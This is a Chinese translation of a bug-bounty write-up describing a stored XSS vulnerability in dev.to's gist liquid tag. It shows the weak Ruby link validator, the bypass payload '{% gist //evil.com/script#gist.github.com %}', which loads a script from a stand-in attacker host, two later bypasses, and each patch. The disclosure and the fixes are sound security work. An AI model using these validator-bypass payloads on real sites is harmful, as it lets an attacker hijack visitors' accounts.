Pwned Together:黑客攻击 dev.to 简介 上下文 漏洞 结论

2025-06-04

一起攻击:入侵 dev.to

简介

语境

漏洞

结论

简介

读了这篇关于 Dev.to 源代码的精彩文章后,我受到了启发。
为了庆祝我的第 500 位粉丝,我给自己挑战了破解 dev.to!

最后,我在自定义的liquid标签中发现了一个存储型XSS漏洞。这意味着,如果你浏览了一篇受感染的博客文章,我就能控制你的浏览器,并以你的名义执行操作!

语境

XSS 是一种漏洞,恶意用户(这里指的是)可以利用该漏洞将 JavaScript 代码注入页面。
借助 JavaScript,尤其是在单页应用程序中,我几乎可以对你在这个网站上的帐户进行任何操作!

我可以更新你的个人资料、发布新帖子、点赞和评论你的文章等等!

XSS 漏洞意味着我从浏览器的角度完全控制了你的网站,因此这是一个相当严重的问题。

XSS 有多种类型:

  • 反射型 XSS:需要用户访问恶意链接才能触发。这意味着您需要重定向或点击链接才能触发漏洞。
  • 存储型 XSS:这是一种保存在服务器上的 XSS,因此由网站本身发起。例如,一篇特制的博客文章就属于这种情况。存储型 XSS 的危害更为严重,因为它可以由正常的用户行为触发,并复制给所有人。

举个例子,几年前在TweetDeck上发现了一个存储型 XSS ,其中恶意代码会自我转发,最终获得大量转发:

漏洞

原始代码

正如编辑指南中提到的,这里实现了许多自定义的 Liquid 标签。其中一个是 Josh 在之前提到的博客文章中新创建的,所以我决定从那里开始检查是否存在安全问题!

这些 Liquid 标签的源代码位于/app/liquid_tags文件夹下。
很快,我被它的要点吸引了:给定的标签直接渲染成了一个脚本标签!

html = <<~HTML
  <div class="ltag_gist-liquid-tag">
      <script id="gist-ltag" src="#{@link}.js"></script>
  </div>
HTML
Enter fullscreen mode Exit fullscreen mode

并且有很多方法可以验证它:

def valid_link?(link)
    link.include?("gist.github.com")
end
Enter fullscreen mode Exit fullscreen mode

文档中该链接的用法gist如下

{% gist https://gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa %}
Enter fullscreen mode Exit fullscreen mode

添加后,.js我们得到了一个脚本,该脚本围绕要点内容创建了一个漂亮的嵌入:

if (developer === true) {
follow(this.mediumPublication);
}
if (developer === true) {
follow(this.mediumPublication);
}

由于验证不充分,仅检查链接是否包含gist.github.com,因此可以绕过:

{% gist //evil.com/script#gist.github.com %}将被转换成<script src="//evil.com/script#gist.github.com.js"></script>
前面的要点因此将在博客文章上加载不安全的脚本,使其成为存储的 xss!

开发团队收到通知后,迅速发布补丁更新valid_link功能:

def valid_link?(link)
    (link =~ /(http|https):\/\/(gist.github.com).*/)&.zero?
end
Enter fullscreen mode Exit fullscreen mode

旁路 1

此补丁确保给定的链接以 开头http[s]://gist.github.com
虽然比之前的验证更好,但这仍然不足以防止攻击!

以下两个域将通过此验证,但仍会加载外部脚本:

第一个使用基本身份验证方案gist.github.com并将用户名发送到evil.com网站。

第二个仅仅是的子域evil.com

通过在 后添加必需的尾部斜杠gist.github.com,可以快速修复此问题,从而正确缓解此问题。

def valid_link?(link)
    (link =~ /^(http(s)?:)?\/\/(gist.github.com)\/.*/)&.zero?
end
Enter fullscreen mode Exit fullscreen mode

旁路 2

之前的补丁确保了请求的域名是gist.github.com,这很棒!

但由于该网站的性质,仍然存在绕过的可能性。

查看原始 gist 文件时(在本例中为 poc.js),原始链接采用以下格式:https://gist.githubusercontent.com/[name]/[gistid]/raw/[fileid]/[filename.ext]

当将域名替换gist.githubusercontent.com为时gist.github.com,我们实际上被重定向到原始githubusercontent.com域名!
这意味着poc.js可以从以下位置访问我的 gist 中的原始文件:
- https://gist.githubusercontent.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js
- https://gist.github.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js

注意第二个 URL 上的域名:gist.github.com

这正确地绕过了给定的补丁,因为原始文件将从gist.github.com域提供

该补丁已于今天早些时候成功应用,通过强制给定的要点采用更严格的正则表达式:提交

  def valid_link?(link)
    (link =~ /^https\:\/\/gist\.github\.com\/([a-zA-Z0-9\-]){1,39}\/([a-zA-Z0-9]){32}\s/)&.
      zero?
  end
Enter fullscreen mode Exit fullscreen mode

结论

在披露原始漏洞后,开发团队根据dev.to 漏洞赏金计划迅速做出反应并修复了这些漏洞。
我成功跻身安全名人堂,并获得了 150 美元的赏金和一包贴纸

通过提供源代码和漏洞赏金计划,更多的人将扫描网站以查找问题,从而使网站更加安全。

最后,整体体验非常棒!
我强烈建议大家查看源代码,报告发现的错误和安全问题,并提交pull request,以提升网站的整体安全性。

如果您正在寻找起点,那么您的第一次提交可能就像用 https 替换 http 链接一样简单!

文章来源:https://dev.to/antogarand/pwned-together-hacking-devto-hkd
PREV
OAuth 新手入门技巧 身份验证与授权分离 短期令牌 刷新令牌 安全流程影响 未来展望
NEXT
我的十大编程箴言